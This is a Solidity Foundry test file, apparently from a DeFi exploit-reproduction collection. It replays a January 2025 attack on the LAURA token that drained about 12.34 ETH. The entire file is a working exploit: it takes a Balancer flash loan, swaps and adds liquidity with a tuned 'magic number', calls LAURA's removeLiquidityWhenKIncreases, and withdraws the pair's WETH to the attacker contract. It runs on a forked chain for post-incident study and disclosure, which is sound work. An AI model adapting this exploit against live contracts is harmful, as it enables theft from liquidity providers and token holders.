src/test/2025-01/LAURAToken_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.13;
3 
4import "forge-std/Test.sol";
5import "../interface.sol";
6 
7// Happy New Year
8// @KeyInfo - Total Lost : 12.340357077284305206 ETH (~$41.2K USD)
9// Attacker : https://etherscan.io/address/0x25869347f7993c50410a9b9b9c48f37d79e12a36
10// Attack Contract 0 : https://etherscan.io/address/0x2cad84c3d2e31bc6d630229901f421e6da5557ef
11// Attack Contract 1 : https://etherscan.io/address/0x55877cf2f24286dba2acb64311beca39728fbd10
12// Vulnerable Contract : https://etherscan.io/token/0x05641e33fd15baf819729df55500b07b82eb8e89
13// Attack Tx : https://etherscan.io/tx/0xef34f4fdf03e403e3c94e96539354fb4fe0b79a5ec927eacc63bc04108dbf420
14// @POC Author : [rotcivegaf](https://twitter.com/rotcivegaf)
15 
16// Contracts involved
17address constant uniV2Router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
18address constant weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
19address constant pairLAURA_WETH = 0xb292678438245Ec863F9FEa64AFfcEA887144240;
20address constant balancerVault = 0xBA12222222228d8Ba445958a75a0704d566BF2C8;
21uint256 constant LOAN_AMOUNT = 30000 ether;
22 
23// This amount is used when calling `swapExactTokensForTokensSupportingFeeOnTransferTokens` and `addLiquidity` 
24// from the uniV2Router
25// It is enough so that when the `removeLiquidityWhenKIncreases` function of the LAURA contract is called,
26// the LAURA balance of the WETH/LAURA pair will go down enough to be able to steal all the WETH from the pair
27uint256 constant MAGIC_NUMBER = 11526249223479392795400;
28 
29contract LAURAToken_exp is Test {
30    address attacker = makeAddr("attacker");
31 
32    function setUp() public {
33        vm.createSelectFork("mainnet", 21_529_888 - 1);
34    }
35 
36    function testPoC() public {
37        vm.startPrank(attacker);
38        AttackerC0 attC0 = new AttackerC0();
39 
40        console.log("Final balance in ETH :", address(attC0).balance);
41    }
42}
43 
44contract AttackerC0 {
45    constructor () {
46        AttackerC1 attC1 = new AttackerC1(); // L01
47 
48        attC1.attack();// L04
49    }
50 
51    receive() external payable {}
52}
53 
54contract AttackerC1 {
55    constructor () {
56        IFS(weth).approve(uniV2Router, type(uint256).max); // L02
57    }
58 
59    function attack() external {
60        address LAURA = IFS(pairLAURA_WETH).token0(); // L5
61        // IFS(pairLAURA_WETH).token0(); // L6
62        IFS(LAURA).approve(uniV2Router, type(uint256).max); // L7
63        
64        // L10
65        address[] memory tokens = new address[](1);
66        tokens[0] = weth;
67        uint256[] memory amounts = new uint256[](1);
68        amounts[0] = LOAN_AMOUNT;
69        IFS(balancerVault).flashLoan(
70            address(this),
71            tokens,
72            amounts,
73            hex'000000000000000000000000b292678438245ec863f9fea64affcea887144240' // pairLAURA_WETH
74        );
75 
76        uint256 bal0 = IERC20(weth).balanceOf(address(this)); // L112
77 
78        IFS(weth).withdraw(bal0); // L113
79 
80        (bool success,) = msg.sender.call{value: bal0}(""); // L116
81        require(success, "Not success");
82    }
83 
84    function receiveFlashLoan(
85        IERC20[] memory,
86        uint256[] memory,
87        uint256[] memory,
88        bytes memory
89    ) external {
90        address LAURA = IFS(pairLAURA_WETH).token0(); // L16
91        //address weth = pairLAURA_WETH.token1(); // L17
92        uint256 bal0 = IERC20(weth).balanceOf(address(this)); // L18
93        uint256 bal1 = IERC20(weth).balanceOf(pairLAURA_WETH); // L19
94 
95        // L20
96        address[] memory path = new address[](2);
97        path[0] = weth;
98        path[1] = LAURA;
99        IFS(uniV2Router).swapExactTokensForTokensSupportingFeeOnTransferTokens(
100            MAGIC_NUMBER,     // amountIn
101            0,                // amountOutMin
102            path,             // path
103            address(this),    // to
104            type(uint256).max
105        );
106        
107        uint256 bal2 = IERC20(LAURA).balanceOf(address(this)); // L38
108        
109        IFS(uniV2Router).addLiquidity( // L40
110            LAURA,
111            weth,
112            bal2,
113            MAGIC_NUMBER,
114            0,
115            0,
116            address(this),
117            type(uint256).max
118        );
119 
120        IFS(LAURA).removeLiquidityWhenKIncreases(); // L57
121        IFS(pairLAURA_WETH).approve(uniV2Router, type(uint256).max); // L66
122        uint256 bal3 = IERC20(pairLAURA_WETH).balanceOf(address(this)); // L68
123 
124        IFS(uniV2Router).removeLiquidity( // L69
125            LAURA,
126            weth,
127            bal3,
128            0,
129            0,
130            address(this),
131            type(uint256).max
132        );
133 
134        uint256 bal4 = IERC20(LAURA).balanceOf(address(this)); // L88
135 
136        // L90
137        path[0] = LAURA;
138        path[1] = weth;
139        IFS(uniV2Router).swapExactTokensForTokensSupportingFeeOnTransferTokens(
140            bal4,
141            0,
142            path,
143            address(this),
144            type(uint256).max
145        );
146        IFS(weth).transfer(balancerVault, LOAN_AMOUNT); // L108
147    }
148 
149    receive() external payable {}
150}
151 
152interface IFS is IERC20 {
153    // LAURA
154    function removeLiquidityWhenKIncreases() external;
155 
156    // WETH
157    function withdraw(
158        uint256 wad
159    ) external;
160 
161    // UniswapV2Pair
162    function token0() external view returns (address);
163    function token1() external view returns (address);
164 
165    // BalancerVault
166    function flashLoan(
167        address recipient,
168        address[] memory tokens,
169        uint256[] memory amounts,
170        bytes memory userData
171    ) external;
172 
173    // IUniswapV2Router02
174    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
175        uint256 amountIn,
176        uint256 amountOutMin,
177        address[] memory path,
178        address to,
179        uint256 deadline
180    ) external;
181 
182    function addLiquidity(
183        address tokenA,
184        address tokenB,
185        uint256 amountADesired,
186        uint256 amountBDesired,
187        uint256 amountAMin,
188        uint256 amountBMin,
189        address to,
190        uint256 deadline
191    ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);
192 
193    function removeLiquidity(
194        address tokenA,
195        address tokenB,
196        uint256 liquidity,
197        uint256 amountAMin,
198        uint256 amountBMin,
199        address to,
200        uint256 deadline
201    ) external returns (uint256 amountA, uint256 amountB);
202}
203